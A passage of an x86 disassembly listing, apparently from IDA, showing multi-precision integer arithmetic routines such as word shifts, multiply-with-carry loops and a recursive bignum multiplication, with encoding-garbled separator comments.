mov [ebp+var_10], eax mov edi, [ebx] mov ecx, eax shl edi, cl mov [ebx+4], edi mov dword ptr [ebx], 0 mov edi, 0FFFFBFE2h sub edi, ecx loc_80586FA: ; CODE XREF: sub_8058634+A3j mov [esi], edi loc_80586FC: ; CODE XREF: sub_8058634+53j ; sub_8058634+64j mov eax, 2 lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8058634 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 5 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8058710 proc near ; CODE XREF: sub_8053310+64Dp ; sub_8053310+AE9p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov edx, [ebp+arg_8] mov ecx, [ebp+arg_C] mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] sub esi, 4 mov ebx, [esi+edx*4] xor eax, eax shld eax, ebx, cl dec edx jz short loc_805875D push eax test dl, 1 jnz short loc_805874A mov eax, ebx nop db 8Dh,0B4h,26h,0,0,0,0 ; lea esi, [esi+0] loc_8058740: ; CODE XREF: sub_8058710+44j mov ebx, [esi+edx*4] shld eax, ebx, cl mov [edi+edx*4], eax dec edx loc_805874A: ; CODE XREF: sub_8058710+24j mov eax, [esi+edx*4] shld ebx, eax, cl mov [edi+edx*4], ebx dec edx jnz short loc_8058740 shl eax, cl mov [edi], eax pop eax jmp short loc_8058761 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805875D: ; CODE XREF: sub_8058710+1Ej shl ebx, cl mov [edi], ebx loc_8058761: ; CODE XREF: sub_8058710+4Bj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8058710 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805876C proc near ; CODE XREF: sub_8053310+737p ; sub_8053310+CC5p ... var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] lea ecx, [edi+ecx*4] mov edi, [ebp+arg_10] lea ecx, [ecx+edi*4-4] mov [ebp+var_4], ecx cmp edi, 1Fh jg loc_80589F8 test edi, edi jnz short loc_805879C xor eax, eax jmp loc_8058DD1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805879C: ; CODE XREF: sub_805876C+27j mov ecx, [ebp+arg_C] mov eax, [ecx] cmp eax, 1 ja loc_80588A0 jnz loc_8058830 xor ebx, ebx cmp [ebp+arg_8], ebx jle loc_805889A mov eax, [ebp+arg_8] and eax, 3 jz short loc_80587FC cmp eax, 1 jle short loc_80587E5 cmp eax, 2 jle short loc_80587D8 mov edi, [ebp+arg_4] mov eax, [edi] mov ecx, [ebp+arg_0] mov [ecx], eax inc ebx loc_80587D8: ; CODE XREF: sub_805876C+5Fj mov edi, [ebp+arg_4] mov eax, [edi+ebx*4] mov ecx, [ebp+arg_0] mov [ecx+ebx*4], eax inc ebx loc_80587E5: ; CODE XREF: sub_805876C+5Aj mov edi, [ebp+arg_4] mov eax, [edi+ebx*4] mov ecx, [ebp+arg_0] mov [ecx+ebx*4], eax inc ebx cmp [ebp+arg_8], ebx jz loc_805889A nop loc_80587FC: ; CODE XREF: sub_805876C+55j ; sub_805876C+BDj mov edi, [ebp+arg_4] mov eax, [edi+ebx*4] mov ecx, [ebp+arg_0] mov [ecx+ebx*4], eax lea eax, [ebx+1] mov edx, [edi+eax*4] mov [ecx+eax*4], edx lea eax, [ebx+2] mov edx, [edi+eax*4] mov [ecx+eax*4], edx lea eax, [ebx+3] mov edx, [edi+eax*4] mov [ecx+eax*4], edx add ebx, 4 cmp [ebp+arg_8], ebx jnz short loc_80587FC jmp short loc_805889A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058830: ; CODE XREF: sub_805876C+3Ej xor eax, eax cmp [ebp+arg_8], eax jle short loc_805889A mov edx, [ebp+arg_8] and edx, 3 jz short loc_8058870 cmp edx, 1 jle short loc_805885E cmp edx, 2 jle short loc_8058853 mov edi, [ebp+arg_0] mov dword ptr [edi], 0 inc eax loc_8058853: ; CODE XREF: sub_805876C+DBj mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 inc eax loc_805885E: ; CODE XREF: sub_805876C+D6j mov edi, [ebp+arg_0] mov dword ptr [edi+eax*4], 0 inc eax cmp [ebp+arg_8], eax jz short loc_805889A lea esi, [esi] loc_8058870: ; CODE XREF: sub_805876C+D1j ; sub_805876C+12Cj mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 mov dword ptr [ecx+eax*4+4], 0 mov dword ptr [ecx+eax*4+8], 0 mov dword ptr [ecx+eax*4+0Ch], 0 add eax, 4 cmp [ebp+arg_8], eax jnz short loc_8058870 loc_805889A: ; CODE XREF: sub_805876C+49j ; sub_805876C+89j ... xor edx, edx jmp short loc_80588B7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80588A0: ; CODE XREF: sub_805876C+38j push eax mov edi, [ebp+arg_8] push edi mov ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_0] push edi call sub_8058DE0 mov edx, eax add esp, 10h loc_80588B7: ; CODE XREF: sub_805876C+130j mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov [edi+ecx*4], edx add edi, 4 mov [ebp+arg_0], edi mov esi, 1 cmp [ebp+arg_10], esi jle loc_80589D2 mov ecx, [ebp+arg_10] test cl, 1 jnz short loc_8058934 mov edi, [ebp+arg_C] mov eax, [edi+4] cmp eax, 1 ja short loc_8058904 xor edx, edx cmp eax, 1 jnz short loc_805891B mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi mov ecx, [ebp+arg_0] push ecx push ecx call sub_8066380 jmp short loc_8058916 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058904: ; CODE XREF: sub_805876C+179j push eax mov edi, [ebp+arg_8] push edi mov ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_0] push edi call sub_8066420 loc_8058916: ; CODE XREF: sub_805876C+194j mov edx, eax add esp, 10h loc_805891B: ; CODE XREF: sub_805876C+180j mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov [edi+ecx*4], edx add edi, 4 mov [ebp+arg_0], edi inc esi cmp [ebp+arg_10], esi jz loc_80589D2 loc_8058934: ; CODE XREF: sub_805876C+16Ej ; sub_805876C+260j mov ecx, [ebp+arg_C] mov eax, [ecx+esi*4] cmp eax, 1 ja short loc_805895C xor edx, edx cmp eax, 1 jnz short loc_8058973 mov edi, [ebp+arg_8] push edi mov ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_0] push edi push edi call sub_8066380 jmp short loc_805896E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805895C: ; CODE XREF: sub_805876C+1D1j push eax mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi mov ecx, [ebp+arg_0] push ecx call sub_8066420 loc_805896E: ; CODE XREF: sub_805876C+1ECj mov edx, eax add esp, 10h loc_8058973: ; CODE XREF: sub_805876C+1D8j mov edi, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+edi*4], edx mov ebx, [ebp+arg_0] add ebx, 4 mov edi, [ebp+arg_C] mov eax, [edi+esi*4+4] cmp eax, 1 ja short loc_80589A8 xor edx, edx cmp eax, 1 jnz short loc_80589BC mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi push ebx push ebx call sub_8066380 jmp short loc_80589B7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80589A8: ; CODE XREF: sub_805876C+220j push eax mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi push ebx call sub_8066420 loc_80589B7: ; CODE XREF: sub_805876C+238j mov edx, eax add esp, 10h loc_80589BC: ; CODE XREF: sub_805876C+227j mov ecx, [ebp+arg_8] mov [ebx+ecx*4], edx add [ebp+arg_0], 8 add esi, 2 cmp [ebp+arg_10], esi jnz loc_8058934 loc_80589D2: ; CODE XREF: sub_805876C+162j ; sub_805876C+1C2j mov eax, edx jmp loc_8058DD1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80589DC: ; CODE XREF: sub_805876C+29Ej mov edi, [ebp+arg_10] push edi mov ecx, [ebp+arg_C] push ecx mov edi, [ebp+arg_4] push edi mov ecx, [ebp+arg_0] push ecx call sub_8058E20 add esp, 10h jmp short loc_8058A22 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80589F8: ; CODE XREF: sub_805876C+1Fj mov edi, [ebp+arg_10] lea eax, ds:0[edi*8] sub esp, eax mov [ebp+var_8], esp cmp edi, 1Fh jle short loc_80589DC push esp push edi mov ecx, [ebp+arg_C] push ecx mov edi, [ebp+arg_4] push edi mov ecx, [ebp+arg_0] push ecx call sub_8059048 add esp, 14h loc_8058A22: ; CODE XREF: sub_805876C+288j mov edi, [ebp+arg_10] lea eax, ds:0[edi*4] add [ebp+arg_0], eax add [ebp+arg_4], eax sub [ebp+arg_8], edi cmp [ebp+arg_8], edi jl loc_8058C34 lea eax, ds:0[edi*8] sub esp, eax mov [ebp+var_C], esp lea esi, [esi] loc_8058A4C: ; CODE XREF: sub_805876C+4C2j cmp [ebp+arg_10], 1Fh jle loc_8058B78 mov ecx, [ebp+var_8] push ecx mov edi, [ebp+arg_10] push edi mov ecx, [ebp+arg_C] push ecx mov edi, [ebp+arg_4] push edi mov ecx, [ebp+var_C] push ecx call sub_8059048 add esp, 14h loc_8058A72: ; CODE XREF: sub_805876C+424j mov edi, [ebp+arg_10] push edi mov ecx, [ebp+var_C] push ecx mov edi, [ebp+arg_0] push edi push edi call sub_8066380 mov [ebp+var_14], eax mov ecx, [ebp+arg_10] lea eax, ds:0[ecx*4] mov esi, [ebp+arg_0] add esi, eax mov ebx, [ebp+var_C] add ebx, eax mov [ebp+var_10], ecx add esp, 10h mov edx, [ebx] add ebx, 4 mov eax, [ebp+var_14] add eax, edx mov [esi], eax add esi, 4 cmp eax, edx jnb loc_8058B98 dec ecx mov [ebp+var_10], ecx jz loc_8058C18 mov eax, ecx neg eax and eax, 3 test ecx, ecx jle short loc_8058B0D test eax, eax jz short loc_8058B28 cmp eax, 3 jge short loc_8058B0D cmp eax, 2 jge short loc_8058AF7 mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz loc_8058B98 mov edi, [ebp+arg_10] add edi, 0FFFFFFFEh mov [ebp+var_10], edi loc_8058AF7: ; CODE XREF: sub_805876C+36Dj mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz loc_8058B98 dec [ebp+var_10] loc_8058B0D: ; CODE XREF: sub_805876C+35Fj ; sub_805876C+368j mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058B98 dec [ebp+var_10] jz loc_8058C18 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8058B28: ; CODE XREF: sub_805876C+363j ; sub_805876C+404j mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058B98 dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058B98 dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058B98 dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058B98 dec [ebp+var_10] jnz short loc_8058B28 jmp loc_8058C18 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8058B78: ; CODE XREF: sub_805876C+2E4j mov ecx, [ebp+arg_10] push ecx mov edi, [ebp+arg_C] push edi mov ecx, [ebp+arg_4] push ecx mov edi, [ebp+var_C] push edi call sub_8058E20 add esp, 10h jmp loc_8058A72 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058B98: ; CODE XREF: sub_805876C+346j ; sub_805876C+37Cj ... cmp esi, ebx jz short loc_8058C18 mov [ebp+var_14], 0 mov ecx, [ebp+var_10] dec ecx mov [ebp+var_10], ecx cmp [ebp+var_14], ecx jge short loc_8058C18 mov eax, ecx and eax, 3 jz short loc_8058BE0 cmp eax, 1 jle short loc_8058BD4 cmp eax, 2 jle short loc_8058BC7 mov eax, [ebx] mov [esi], eax inc [ebp+var_14] loc_8058BC7: ; CODE XREF: sub_805876C+452j mov edi, [ebp+var_14] mov eax, [ebx+edi*4] mov [esi+edi*4], eax inc edi mov [ebp+var_14], edi loc_8058BD4: ; CODE XREF: sub_805876C+44Dj mov ecx, [ebp+var_14] mov eax, [ebx+ecx*4] mov [esi+ecx*4], eax inc ecx jmp short loc_8058C0E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058BE0: ; CODE XREF: sub_805876C+448j ; sub_805876C+4AAj mov ecx, [ebp+var_14] mov eax, [ebx+ecx*4] mov [esi+ecx*4], eax mov eax, [ebp+var_14] inc eax mov edx, [ebx+eax*4] mov [esi+eax*4], edx mov eax, [ebp+var_14] add eax, 2 mov edx, [ebx+eax*4] mov [esi+eax*4], edx mov eax, [ebp+var_14] add eax, 3 mov edx, [ebx+eax*4] mov [esi+eax*4], edx add ecx, 4 loc_8058C0E: ; CODE XREF: sub_805876C+472j mov [ebp+var_14], ecx mov edi, [ebp+var_10] cmp ecx, edi jnz short loc_8058BE0 loc_8058C18: ; CODE XREF: sub_805876C+350j ; sub_805876C+3B3j ... mov ecx, [ebp+arg_10] lea eax, ds:0[ecx*4] add [ebp+arg_0], eax add [ebp+arg_4], eax sub [ebp+arg_8], ecx cmp [ebp+arg_8], ecx jge loc_8058A4C loc_8058C34: ; CODE XREF: sub_805876C+2CCj cmp [ebp+arg_8], 0 jz loc_8058DCC mov edi, [ebp+arg_8] push edi mov ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_10] push edi mov ecx, [ebp+arg_C] push ecx mov edi, [ebp+var_8] push edi call sub_805876C mov ecx, [ebp+arg_10] push ecx push edi mov edi, [ebp+arg_0] push edi push edi call sub_8066380 mov [ebp+var_14], eax mov ecx, [ebp+arg_10] lea eax, ds:0[ecx*4] mov esi, [ebp+arg_0] add esi, eax mov ebx, [ebp+var_8] add ebx, eax mov edi, [ebp+arg_8] mov [ebp+var_10], edi mov edx, [ebx] add ebx, 4 mov eax, [ebp+var_14] add eax, edx mov [esi], eax add esi, 4 cmp eax, edx jnb loc_8058D4C dec [ebp+var_10] jz loc_8058DCC mov eax, [ebp+var_10] neg eax and eax, 3 cmp [ebp+var_10], 0 jle short loc_8058CE3 test eax, eax jz short loc_8058CFC cmp eax, 3 jge short loc_8058CE3 cmp eax, 2 jge short loc_8058CD1 mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] loc_8058CD1: ; CODE XREF: sub_805876C+551j mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] loc_8058CE3: ; CODE XREF: sub_805876C+543j ; sub_805876C+54Cj mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] jz loc_8058DCC nop loc_8058CFC: ; CODE XREF: sub_805876C+547j ; sub_805876C+5D8j mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] mov edx, [ebx] inc edx add ebx, 4 mov [esi], edx add esi, 4 test edx, edx jnz short loc_8058D4C dec [ebp+var_10] jnz short loc_8058CFC jmp loc_8058DCC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8058D4C: ; CODE XREF: sub_805876C+528j ; sub_805876C+560j ... cmp esi, ebx jz short loc_8058DCC mov [ebp+var_14], 0 mov ecx, [ebp+var_10] dec ecx mov [ebp+var_10], ecx cmp [ebp+var_14], ecx jge short loc_8058DCC mov eax, ecx and eax, 3 jz short loc_8058D94 cmp eax, 1 jle short loc_8058D88 cmp eax, 2 jle short loc_8058D7B mov eax, [ebx] mov [esi], eax inc [ebp+var_14] loc_8058D7B: ; CODE XREF: sub_805876C+606j mov edi, [ebp+var_14] mov eax, [ebx+edi*4] mov [esi+edi*4], eax inc edi mov [ebp+var_14], edi loc_8058D88: ; CODE XREF: sub_805876C+601j mov ecx, [ebp+var_14] mov eax, [ebx+ecx*4] mov [esi+ecx*4], eax inc ecx jmp short loc_8058DC2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058D94: ; CODE XREF: sub_805876C+5FCj ; sub_805876C+65Ej mov ecx, [ebp+var_14] mov eax, [ebx+ecx*4] mov [esi+ecx*4], eax mov edx, [ebp+var_14] inc edx mov eax, [ebx+edx*4] mov [esi+edx*4], eax mov edx, [ebp+var_14] add edx, 2 mov eax, [ebx+edx*4] mov [esi+edx*4], eax mov edx, [ebp+var_14] add edx, 3 mov eax, [ebx+edx*4] mov [esi+edx*4], eax add ecx, 4 loc_8058DC2: ; CODE XREF: sub_805876C+626j mov [ebp+var_14], ecx mov edi, [ebp+var_10] cmp ecx, edi jnz short loc_8058D94 loc_8058DCC: ; CODE XREF: sub_805876C+4CCj ; sub_805876C+531j ... mov ecx, [ebp+var_4] mov eax, [ecx] loc_8058DD1: ; CODE XREF: sub_805876C+2Bj ; sub_805876C+268j lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805876C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 5 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8058DE0 proc near ; CODE XREF: sub_80531DC+42p ; sub_80531DC+107p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_C] push ebp lea edi, [edi+ecx*4] lea esi, [esi+ecx*4] neg ecx xor edx, edx db 8Dh,76h,0 ; lea esi, [esi+0] loc_8058E00: ; CODE XREF: sub_8058DE0+30j mov ebp, edx mov eax, [esi+ecx*4] mul ebx add eax, ebp adc edx, 0 mov [edi+ecx*4], eax inc ecx jnz short loc_8058E00 mov eax, edx pop ebp lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8058DE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8058E20 proc near ; CODE XREF: sub_805876C+280p ; sub_805876C+41Cp ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] mov eax, [esi] cmp eax, 1 ja loc_8058F14 jnz short loc_8058EB0 xor ecx, ecx cmp [ebp+arg_C], ecx jle loc_8058F0F mov eax, [ebp+arg_C] and eax, 3 jz short loc_8058E80 cmp eax, 1 jle short loc_8058E6B cmp eax, 2 jle short loc_8058E61 mov edi, [ebp+arg_4] mov eax, [edi] mov [ebx], eax inc ecx loc_8058E61: ; CODE XREF: sub_8058E20+37j mov esi, [ebp+arg_4] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8058E6B: ; CODE XREF: sub_8058E20+32j mov edi, [ebp+arg_4] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+arg_C], ecx jz loc_8058F0F lea esi, [esi] loc_8058E80: ; CODE XREF: sub_8058E20+2Dj ; sub_8058E20+8Aj mov esi, [ebp+arg_4] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax lea eax, [ecx+1] mov edx, [esi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+2] mov edx, [esi+eax*4] mov [ebx+eax*4], edx lea eax, [ecx+3] mov edx, [esi+eax*4] mov [ebx+eax*4], edx add ecx, 4 cmp [ebp+arg_C], ecx jnz short loc_8058E80 jmp short loc_8058F0F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058EB0: ; CODE XREF: sub_8058E20+1Aj xor eax, eax cmp [ebp+arg_C], eax jle short loc_8058F0F mov edx, [ebp+arg_C] and edx, 3 jz short loc_8058EE8 cmp edx, 1 jle short loc_8058ED8 cmp edx, 2 jle short loc_8058ED0 mov dword ptr [ebx], 0 inc eax loc_8058ED0: ; CODE XREF: sub_8058E20+A7j mov dword ptr [ebx+eax*4], 0 inc eax loc_8058ED8: ; CODE XREF: sub_8058E20+A2j mov dword ptr [ebx+eax*4], 0 inc eax cmp [ebp+arg_C], eax jz short loc_8058F0F db 8Dh,76h,0 ; lea esi, [esi+0] loc_8058EE8: ; CODE XREF: sub_8058E20+9Dj ; sub_8058E20+EDj mov dword ptr [ebx+eax*4], 0 mov dword ptr [ebx+eax*4+4], 0 mov dword ptr [ebx+eax*4+8], 0 mov dword ptr [ebx+eax*4+0Ch], 0 add eax, 4 cmp [ebp+arg_C], eax jnz short loc_8058EE8 loc_8058F0F: ; CODE XREF: sub_8058E20+21j ; sub_8058E20+58j ... xor edx, edx jmp short loc_8058F28 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8058F14: ; CODE XREF: sub_8058E20+14j push eax mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_4] push esi push ebx call sub_8058DE0 mov edx, eax add esp, 10h loc_8058F28: ; CODE XREF: sub_8058E20+F1j mov edi, [ebp+arg_C] mov [ebx+edi*4], edx add ebx, 4 mov [ebp+var_4], 1 cmp [ebp+var_4], edi jge loc_805903C test edi, 1 jnz short loc_8058F98 mov esi, [ebp+arg_8] mov eax, [esi+4] cmp eax, 1 ja short loc_8058F6C xor edx, edx cmp eax, 1 jnz short loc_8058F80 push edi mov edi, [ebp+arg_4] push edi push ebx push ebx call sub_8066380 jmp short loc_8058F7B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058F6C: ; CODE XREF: sub_8058E20+132j push eax mov esi, [ebp+arg_C] push esi mov edi, [ebp+arg_4] push edi push ebx call sub_8066420 loc_8058F7B: ; CODE XREF: sub_8058E20+147j mov edx, eax add esp, 10h loc_8058F80: ; CODE XREF: sub_8058E20+139j mov esi, [ebp+arg_C] mov [ebx+esi*4], edx add ebx, 4 inc [ebp+var_4] cmp [ebp+var_4], esi jz loc_805903C db 8Dh,76h,0 ; lea esi, [esi+0] loc_8058F98: ; CODE XREF: sub_8058E20+127j ; sub_8058E20+216j mov edi, [ebp+var_4] mov esi, [ebp+arg_8] mov eax, [esi+edi*4] cmp eax, 1 ja short loc_8058FC0 xor edx, edx cmp eax, 1 jnz short loc_8058FD4 mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_4] push esi push ebx push ebx call sub_8066380 jmp short loc_8058FCF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8058FC0: ; CODE XREF: sub_8058E20+184j push eax mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_4] push esi push ebx call sub_8066420 loc_8058FCF: ; CODE XREF: sub_8058E20+19Cj mov edx, eax add esp, 10h loc_8058FD4: ; CODE XREF: sub_8058E20+18Bj mov edi, [ebp+arg_C] mov [ebx+edi*4], edx lea esi, [ebx+4] mov [ebp+var_8], esi mov edi, [ebp+var_4] mov esi, [ebp+arg_8] mov eax, [esi+edi*4+4] cmp eax, 1 ja short loc_805900C xor edx, edx cmp eax, 1 jnz short loc_8059023 mov edi, [ebp+arg_C] push edi mov esi, [ebp+arg_4] push esi mov edi, [ebp+var_8] push edi push edi call sub_8066380 jmp short loc_805901E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805900C: ; CODE XREF: sub_8058E20+1CDj push eax mov esi, [ebp+arg_C] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+var_8] push esi call sub_8066420 